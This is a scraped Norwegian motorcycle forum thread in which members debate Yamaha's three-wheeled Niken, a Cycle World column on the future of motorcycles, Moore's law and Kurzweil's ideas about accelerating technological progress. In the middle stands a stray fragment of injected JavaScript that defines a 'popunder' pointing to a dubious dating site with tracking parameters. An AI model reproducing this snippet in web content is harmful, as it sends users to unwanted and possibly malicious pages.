Tviler på at vi får se noen av de greiene der på vegene. Dyrt å produsere, unødig komplisert, og stygt som bare rakkern (selv om
Niken ser desidert mest latterlig og uestetisk ut).
Tviler på at vi får se noen av de greiene der på vegene. Dyrt å produsere, unødig komplisert, og stygt som bare rakkern (selv om
Krysser fingrene for at du har rett i det
En av de faste skribentene i Cycle World, Kevin Cameron, har sine oppfatninger omkring framtidens motorsykler.AJ skrev: ↑29 nov 2017, 10:43 Utviklingen går kanskje kjappere enn vi tror - og liker
Motorsykkelfolk er tross alt ganske konservative har det vist seg opp gjennom årene.
Men det spørs om ikke utviklingen gjør at de fleste av oss bare er nødt til å bøye av. Eller hva tror folket her inne?
Vil motorsykler flest i ikke altfor fjern framtid være som denne Yamaha'en, tro?
');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}
Masse elektronikk, avanserte assistentsystemer, elmotor og drift på begge hjulene osv. osv.
Det er jo ingen forskningsartikkel, men ren synsing, så det er klart det er "lettvint", i likhet med det aller meste som påstås her inne,Stian87 skrev: ↑26 jan 2018, 06:45 Hele spådommen bygger en økonomisk analyse som for meg fremstår svært lettvint. Det trekkes paralleller til førkristidens børskrakk uten et snev av dokumentasjon eller analyse om at det er en sannsynlig fremtid, eller hvorfor. Det tas som en ren sannhet og et faktum at folk får dårligere råd. Så vidt jeg har forstått av forskjellige artikler i media er dette direkte feil både i Norge og i USA. Noen vil selvfølgelig oppleve å ha dårligere råd, men det er lite interessant i den store sammenhengen.
Videre legges det uten videre til grunn at Moores lov ikke gjelder for motorsykler. Det er muligens dels korrekt, men dagens motorsykler inneholder mye teknologi, og kan generelt ikke løst kobles fra IT. Priser på motorsykler vil påvirkes av en haug med variabler, men teknologien blir mer tilgjenglig og sannsynligvis billigere. Den beste og nyeste teknologien vil naturlig nok fortsatt være dyr.
Jeg er i utgangspunktet enig i at man ikke trenger å inneha dyptgående økonomisk kompetanse for å mene at salget av 1000cc vil gå ned eller forsvinne fullstendig om få år. Det som blir problematisk er når man knytter analysen til større økonomiske mekanismer og trekker antakelser basert på lettvint synsing. Det hadde fremstått mer troverdig om man baserte analysen sin på at salget av 1000cc har gått ned og at produksjonen av sykler med mindre kubikk har gått opp. For øvrig kan jeg ikke se at det er noen nødvendig sammenheng med svindyre sykler og 1000cc pluss. Det jeg mener med det er at det ikke nødvendigvis er kubikkstørrelsen som gjør sykkelen dyr, men alt annet utstyr på sykkelen og effekten på motoren. Jeg mener nok også at det må kunne stilles noe større krav til analysene gjort av Cycle World enn av utsagn på et forum.gsx750_80 skrev: ↑26 jan 2018, 09:18 Det er jo ingen forskningsartikkel, men ren synsing, så det er klart det er "lettvint", i likhet med det aller meste som påstås her inne,
uten at det er noe galt i det.
At Moore's lov ikke gjelder for motorsykler er helt korrekt. Denne "loven" er basert på at Intel's Gordon Moore basert på visse observasjoner på 60-tallet spådde at antallet aktive elementer / transistorer per areal på integrerte kretser ("microchips") ble doblet hvert
år. Det har vist seg å være en selvoppfyllende profeti - så langt, bortsett fra at hastigheten i utviklingen har gått litt ned etterhvert.
"Moore's law refers to an observation made by Intel co-founder Gordon Moore in 1965. He noticed that the number of transistors per square inch on integrated circuits had doubled every year since their invention.
Moore's law predicts that this trend will continue into the foreseeable future. Although the pace has slowed, the number of transistors per square inch has since doubled approximately every 18 months. This is used as the current definition of Moore's law."
( https://www.investopedia.com/terms/m/mooreslaw.asp )
Denne eksponensielle veksten savner sidestykke i annen industri.
Cameron hos Cycle World er Harvard-utdannet fysiker, men neppe spåmann. Han refererte til utsagn fra en han hadde møtt, og muligensStian87 skrev: ↑26 jan 2018, 09:55Jeg er i utgangspunktet enig i at man ikke trenger å inneha dyptgående økonomisk kompetanse for å mene at salget av 1000cc vil gå ned eller forsvinne fullstendig om få år. Det som blir problematisk er når man knytter analysen til større økonomiske mekanismer og trekker antakelser basert på lettvint synsing. Det hadde fremstått mer troverdig om man baserte analysen sin på at salget av 1000cc har gått ned og at produksjonen av sykler med mindre kubikk har gått opp. For øvrig kan jeg ikke se at det er noen nødvendig sammenheng med svindyre sykler og 1000cc pluss. Det jeg mener med det er at det ikke nødvendigvis er kubikkstørrelsen som gjør sykkelen dyr, men alt annet utstyr på sykkelen og effekten på motoren. Jeg mener nok også at det må kunne stilles noe større krav til analysene gjort av Cycle World enn av utsagn på et forum.gsx750_80 skrev: ↑26 jan 2018, 09:18 Det er jo ingen forskningsartikkel, men ren synsing, så det er klart det er "lettvint", i likhet med det aller meste som påstås her inne,
uten at det er noe galt i det.
At Moore's lov ikke gjelder for motorsykler er helt korrekt. Denne "loven" er basert på at Intel's Gordon Moore basert på visse observasjoner på 60-tallet spådde at antallet aktive elementer / transistorer per areal på integrerte kretser ("microchips") ble doblet hvert
år. Det har vist seg å være en selvoppfyllende profeti - så langt, bortsett fra at hastigheten i utviklingen har gått litt ned etterhvert.
"Moore's law refers to an observation made by Intel co-founder Gordon Moore in 1965. He noticed that the number of transistors per square inch on integrated circuits had doubled every year since their invention.
Moore's law predicts that this trend will continue into the foreseeable future. Although the pace has slowed, the number of transistors per square inch has since doubled approximately every 18 months. This is used as the current definition of Moore's law."
( https://www.investopedia.com/terms/m/mooreslaw.asp )
Denne eksponensielle veksten savner sidestykke i annen industri.
Jeg er enig med deg i det du skriver om Moores lov. Det kan imidlertid trekkes paralleller til generell teknologisk utvikling som også er eksponentiell. Det vel ganske åpenbart at teknologi som før var nærmest utilgjengelig og ekstremt dyrt før er blitt allemannseie i dag. Motorsykler er ikke isolert fra teknologiutviklingen, og en motorsykkel består av mange deler, hvorvidt prisen på delene og teknologien vil påvirke prisen på motorsykler (sammen med mange andre faktorer). Som også i bilindustrien er det enkelte merker og modeller der du får mer avansert teknologi, hvor de billigere merkene og modellene på sikt får en fordel av dette. Samtidig utvikles de dyrere modellene og holdes oppe i pris. Det er riktignok færre som kjøper de dyrere modellene enn de billigste, men det betyr ikke at det ikke er et marked for disse modellene, og at de således vil forsvinne.
Moore's law og følgene av den er helt spesielle, og teknologiske innretninger som biler og mc har ikke sentrale egenskaper som har slike eksponensielle endringer. Da hadde det gått som i et par av eksemplene som jeg viste til over.. Batterikapasitet, som et annet eksempel,
Det jeg sikter til er generelle teknologiske fremskritt, sett under ett. Jeg er enig med deg i at MC og biler ikke nødvendigvis har denne egenskapen alene, slik som med en chip. Jeg snakker om progresjon totalt sett. Med hyppigere teknologisk utvikling vil det også få konsekvenser for hvordan motorsykler og biler ser ut i fremtiden.
Tja, når det gjelder teknologiutvikling i videste forstand, inkludert samfunnets teknologiske nivå, så ser jeg ikke bort fra at den kan sees på som eksponensiell, men det blir et stykke unna utgangspunktet. Konseptet kan anvendes på utvikling av elektronikk, men ikke feks batterier eller kjøretøyer isolert.Stian87 skrev: ↑26 jan 2018, 14:50Det jeg sikter til er generelle teknologiske fremskritt, sett under ett. Jeg er enig med deg i at MC og biler ikke nødvendigvis har denne egenskapen alene, slik som med en chip. Jeg snakker om progresjon totalt sett. Med hyppigere teknologisk utvikling vil det også få konsekvenser for hvordan motorsykler og biler ser ut i fremtiden.
Poenget er at progresjon i tilknytning til teknologi går fortere og fortere, det er til dels sammenliknbart med Moores Law, men kalles the Law of Accelerating Returns.
Som det skrives her:
"Kurzweil suggests that the progress of the entire 20th century would have been achieved in only 20 years at the rate of advancement in the year 2000—in other words, by 2000, the rate of progress was five times faster than the average rate of progress during the 20th century. He believes another 20th century’s worth of progress happened between 2000 and 2014 and that another 20th century’s worth of progress will happen by 2021, in only seven years. A couple decades later, he believes a 20th century’s worth of progress will happen multiple times in the same year, and even later, in less than one month. All in all, because of the Law of Accelerating Returns, Kurzweil believes that the 21st century will achieve 1,000 times the progress of the 20th century."
Du får således en slik graf:
Du kan lese mer om dette her: https://waitbutwhy.com/2015/01/artifici ... ion-1.html Bloggen anbefales forøvrig i sin helhet.
Helt enig i det. Batterier og kjøretøy slik vi kjenner det i dag har sine klare begrensninger, poenget mitt er at kjøretøy og lagring av energi (batteri) antakelig kommer til å utvikle seg langt ut over det vi kan se for oss.gsx750_80 skrev: ↑26 jan 2018, 15:24 Tja, når det gjelder teknologiutvikling i videste forstand, inkludert samfunnets teknologiske nivå, så ser jeg ikke bort fra at den kan sees på som eksponensiell, men det blir et stykke unna utgangspunktet. Konseptet kan anvendes på utvikling av elektronikk, men ikke feks batterier eller kjøretøyer isolert.
Kurzweil er jo forøvrig ganske så kontroversiell, men har uansett en del radikale og interessante synspunkter.
Ellers lurer jeg på om ikke kurven med "human progress" eller hva det nå var, burde peke nedover, om det er slik at vår
"utvikling" gjør oss i stand til å gjøre kål på vårt eksistensgrunnlag.
Plukket opp tidsskriftet Motorcycle på en tur til Newcastle (UK) forrige uke. Der var det en 9 siders artikkel om Yamaha Niken, medFredrikE24 skrev: ↑09 jan 2018, 22:32 Det er som nevnt tidligere en Brudeli-patent. Først vist i Autofil.
Se klippet fra program 8 i 2006, fra 9:40 og utover.
https://tv.nrk.no/serie/autofil/OUHA12000806/01-05-2006